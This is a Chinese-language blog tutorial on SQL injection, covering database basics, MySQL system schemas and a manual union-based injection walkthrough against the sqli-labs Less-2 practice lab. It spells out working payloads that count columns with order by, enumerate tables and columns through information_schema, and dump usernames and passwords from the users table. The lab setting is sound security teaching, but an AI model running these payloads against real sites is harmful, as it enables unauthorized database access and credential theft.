SQL注入

忆南呦

于 2024-09-12 13:50:29 发布

阅读量459

点赞数 13

文章标签： sql 数据库

本文链接：https://blog.csdn.net/qq_64177395/article/details/142163407

版权

1.1什么是SQL注入

SQL 注入（Injection）概述

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息

web应用程序三层架构：视图层 + 业务逻辑层 + 数据访问层

SQL注入之数据库概述

数据库就是一个存储数据的仓库，数据库是以一定方式存储在一起，能与多个用户共享，具有尽可能小的冗余，与应用程序彼此独立的数据集合。

关系型数据库

关系型数据库，存储的格式可以直观地反映实体间的关系，和常见的表格比较相似

关系型数据库中表与表之间有很多复杂的关联关系的

常见的关系型数据库有MySQL，Orcale，PostgreSQL , SQL Server等。

非关系型数据库

随着近些年技术方向的不断扩展，大量的NoSQL数据库如 Mon goDB，Redis出于简化数据库结构，避免冗余，影响性能的表连接。摒弃复杂分布式的目的被设计

NoSQL数据库适合追求速度和可扩展性，业务多变的场景

数据库排行：https://db-engines.com/en/ranking

数据库服务器层级关系：

服务器里面

：多个数据库

：多个数据表

：多个行列字段

：数据

SQL语句语法回顾：

查询当前数据库服务器所有的数据库

show databases;

选中某个数据库

use 数据库名字

查询当前数据库所有的表
show tables；

查询users表所有数据
       查询关键 select
       * 所有
       from 表名
       select * from users;

条件查询 id=2
where 条件编程 if（条件 true）{执行}

select * from users where id=2；
查询id=2 pass =111

union 合并查询
       2个特性：
       前面查询的语句和后面的查询语句结果互不干扰！
       前面的查询语句的字段数量和后面的查询语句字段数量要一致

select id from t1 where id=-1 union select * from t1 where pass =111;

order by 排序
order by 字段名字 id 也可以跟上数字 1 2 3 4 .。。。。。

猜解表的列数知道表有几列

一.系统库释义

提供了访问数据库元数据的方式

元数据是关于数据库的数据，如数据库名和表名，列的数据类型或访问权限。

1.information_schema 库：是信息数据库，其中保存着关于MySQL服务器所维护的所有其他数据库的信息；

例如数据库或表的名称，列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA 表：提供了当前MySQL实例中所有数据库信息， show databases结果取之此表。

TABLES表：提供了关于数据中表的信息。table_name

COLUMNS表：提供了表的列信息，详细描述了某张表的所有列以及每个列的信息。column_name

2、performance_schema库具有87张表。 MySQL 5.5开始新增一个数据库：PERFORMANCE_SCHEMA，主要用于收集数据库服务器性能参数。内存数据库，数据放在内存中直接操作的数据库。相对于磁盘，内存的数据读写速度要高出几个数量级。

3、mysql库是核心数据库，类似于sql server中的master表，主要负责存储数据库的用户（账户）信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除，如果对mysql不是很了解，也不要轻易修改这个数据库里面的表信息。常用举例：在mysql.user表中修改root用户的密码

4、sys库具有1个表，100个视图。 sys库是MySQL 5.7增加的系统数据库，这个库是通过视图的形式把information_schema和performance_schema结合起来，查询出更加令人容易理解的数据。可以查询谁使用了最多的资源，哪张表访问最多等。

SQL注入之MYSQL手工注入

本章节重点在于熟悉注入流程，以及注入原理。练习靶场为sqli-labs第二关数字型注入。

sqli-labs数字型注入

在url中输入id值，执行查询sql语句。即可得到对应数据

less-2源码分析：

浏览器进行数据提交服务器：

get 提交： url 数据长度
速度快
用于：

post 提交：服务器安全性数据量

注入流程

注入语句

尝试手工注入：
       SQL注入：
       1.判断有无注入点 and 1 = 1； true
       随便输入内容 == 报错注入
       == 没有注入
        2.猜解列名数量 order by %20 空格
       字段 4个

       3.报错，判断回显点 union
       4.信息收集
       数据库版本 version()
       高版本：5.0
           系统库： infromation 。。。
       数据库名称：database（）
       低版本：5.0
       5.使用对应SQL进行注入
           数据库库名：security
       . 下一级
       infromation_schema.tables 查找表名
       table_name
       查询serurity库下面所有的表名

database（）

       = 前后连到一起
       union select 1,group_concat(table_name),3 from information_schema.tables
       where table_schema=database()

       表： users
       如何查询表里面有那些字段？
       user 字符转换 16进制
       union select 1,group_concat(column_name),3 from information_schema.columns
       where table_name=0x7573657273

       username password 字段数据
       select username,password from users
       0x3a :
       union select 1,2,(select group_concat(username,0x3a,password)from users)

       union select 1,group_concat(column_name),3 from information_schema.colmns where table_name=0x7573657273